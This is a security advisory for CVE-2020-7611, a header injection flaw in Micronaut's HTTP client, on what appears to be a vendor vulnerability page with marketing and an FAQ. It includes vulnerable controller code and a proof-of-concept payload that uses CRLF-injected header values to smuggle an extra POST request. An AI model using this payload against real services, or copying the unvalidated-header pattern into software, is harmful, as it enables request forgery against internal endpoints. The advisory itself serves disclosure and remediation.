Summary
Micronaut's HTTP client is vulnerable to HTTP Request Header Injection
Full technical description
Vulnerability
Micronaut's HTTP client is vulnerable to "HTTP Request Header Injection" due to not validating request headers passed to the client.
Example of vulnerable code:
@Controller("/hello")
public class HelloController {
@Inject
@Client("/")
RxHttpClient client;
@Get("/external-exploit")
@Produces(MediaType.TEXT_PLAIN)
public String externalExploit(@QueryValue("header-value") String headerValue) {
return client.toBlocking().retrieve(
HttpRequest.GET("/hello")
.header("Test", headerValue)
);
}
}
In the above case a query value received from a user is passed as a header value to the client. Since the client doesn't validate the header value the request headers and body have the potential to be manipulated.
For example, a user that supplies the following payload, can force the client to make multiple attacker-controlled HTTP requests.
List<String> headerData = List.of(
"Connection: Keep-Alive", // This keeps the connection open so another request can be stuffed in.
"",
"",
"POST /hello/super-secret HTTP/1.1",
"Host: 127.0.0.1",
"Content-Length: 31",
"",
"{\"new\":\"json\",\"content\":\"here\"}",
"",
""
);
String headerValue = "H\r\n" + String.join("\r\n", headerData);;
URI theURI =
UriBuilder
.of("/hello/external-exploit")
.queryParam("header-value", headerValue) // Automatically URL encodes data
.build();
HttpRequest<String> request = HttpRequest.GET(theURI);
String body = client.toBlocking().retrieve(request);
Note that using @HeaderValue instead of @QueryValue is not vulnerable since Micronaut's HTTP server does validate the headers passed to the server, so the exploit can only be triggered by using user data that is not an HTTP header (query values, form data etc.).
Workarounds
Do not pass user data directly received from HTTP request parameters as headers in the HTTP client.
References
Fix commits
- https://github.com/micronaut-projects/micronaut-core/commit/9d1eff5c8df1d6cda1fe00ef046729b2a6abe7f1
- https://github.com/micronaut-projects/micronaut-core/commit/6deb60b75517f80c57b42d935f07955c773b766d
- https://github.com/micronaut-projects/micronaut-core/commit/bc855e439c4a5ced3d83195bb59d0679cbd95add
For more information
If you have any questions or comments about this advisory:
- Open an issue in micronaut-core
- Email us at [email protected]
Credit
Originally reported by @JLLeitschuh
Impact
The attacker is able to control the entirety of the HTTP body for their custom requests.
As such, this vulnerability enables attackers to perform a variant of Server Side Request Forgery.
CVE-2020-7611 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.2.11, 1.3.2); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
The problem has been patched in the micronaut-http-client versions 1.2.11 and 1.3.2 and above.
Frequently Asked Questions
- What is CVE-2020-7611? CVE-2020-7611 is a critical-severity security vulnerability in io.micronaut:micronaut-http-client (maven), affecting versions < 1.2.11. It is fixed in 1.2.11, 1.3.2.
- How severe is CVE-2020-7611? CVE-2020-7611 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of io.micronaut:micronaut-http-client are affected by CVE-2020-7611? io.micronaut:micronaut-http-client (maven) versions < 1.2.11 is affected.
- Is there a fix for CVE-2020-7611? Yes. CVE-2020-7611 is fixed in 1.2.11, 1.3.2. Upgrade to this version or later.
- Is CVE-2020-7611 exploitable, and should I be worried? Whether CVE-2020-7611 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2020-7611 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2020-7611?
- Upgrade
io.micronaut:micronaut-http-clientto 1.2.11 or later - Upgrade
io.micronaut:micronaut-http-clientto 1.3.2 or later
- Upgrade